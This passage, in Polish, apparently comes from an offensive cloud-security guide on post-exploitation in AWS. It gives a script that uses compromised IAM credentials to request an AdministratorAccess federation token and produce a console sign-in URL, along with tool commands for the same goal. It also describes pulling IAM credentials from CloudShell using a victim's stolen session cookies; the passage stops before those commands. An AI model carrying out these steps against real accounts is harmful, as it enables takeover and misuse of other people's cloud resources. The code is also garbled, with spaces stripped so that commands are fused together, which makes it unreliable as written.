Jeśli udało Ci się uzyskać pewne credencje IAM, możesz być zainteresowany dostępem do konsoli internetowej za pomocą następujących narzędzi.
Zauważ, że użytkownik/rola musi mieć uprawnienie sts:GetFederationToken.
Skrypt niestandardowy
Następujący skrypt będzie używał profilu domyślnego i domyślnej lokalizacji AWS (nie gov i nie cn), aby dać Ci podpisany URL, który możesz użyć do zalogowania się w konsoli internetowej:
# Get federated creds (you must indicate a policy or they won't have any perms)## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges## Don't forget to use [--profile <prof_name>] in the first line if you need tooutput=$(awsstsget-federation-token--nameconsoler--policy-arnsarn=arn:aws:iam::aws:policy/AdministratorAccess)if [ $? -ne0 ]; thenecho"The command 'aws sts get-federation-token --name consoler' failed with exit status $status"exit $statusfi# Parse the outputsession_id=$(echo $output |jq-r '.Credentials.AccessKeyId')session_key=$(echo $output |jq-r '.Credentials.SecretAccessKey')session_token=$(echo $output |jq-r '.Credentials.SessionToken')# Construct the JSON credentials stringjson_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpointfederation_endpoint="https://signin.aws.amazon.com/federation"# Make the HTTP request to get the sign-in tokenresp=$(curl-s "$federation_endpoint" \--get \--data-urlencode "Action=getSigninToken" \--data-urlencode "SessionDuration=43200" \--data-urlencode "Session=$json_creds")signin_token=$(echo-n $resp |jq-r '.SigninToken' |tr-d '\n' |jq-sRr@uri)# Give the URL to loginecho -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
cd/tmppython3-mvenvenvsource./env/bin/activatepipinstallaws-consoleraws_consoler [params...] #This will generate a link to login into the console
Upewnij się, że użytkownik IAM ma uprawnienie sts:GetFederationToken, lub dostarcz rolę do przejęcia.
aws-vault
aws-vault to narzędzie służące do bezpiecznego przechowywania i dostępu do poświadczeń AWS w środowisku deweloperskim.
aws-vaultlistaws-vaultexecjonsmith--awss3ls# Execute aws cli with jonsmith credsaws-vaultloginjonsmith# Open a browser logged as jonsmith
Możesz również użyć aws-vault do uzyskania sesji konsoli przeglądarki
Z Konsoli do Poświadczeń IAM
Oryginalnie odkryte w tym poście, Jeśli uda ci się skompromitować dostęp do konsoli internetowej (może udało ci się ukraść ciasteczka i nie mogłeś uzyskać dostępu do folderu .aws), możesz uzyskać pewne poświadczenia tokenów IAM dla tego użytkownika za pośrednictwem CloudShell.
CloudShell ujawnia poświadczenia IAM za pośrednictwem nieudokumentowanego punktu końcowego na porcie 1338. Po załadowaniu ciasteczek sesji ofiary do przeglądarki, możesz przejść do CloudShell i wydać następujące polecenia, aby uzyskać poświadczenia IAM.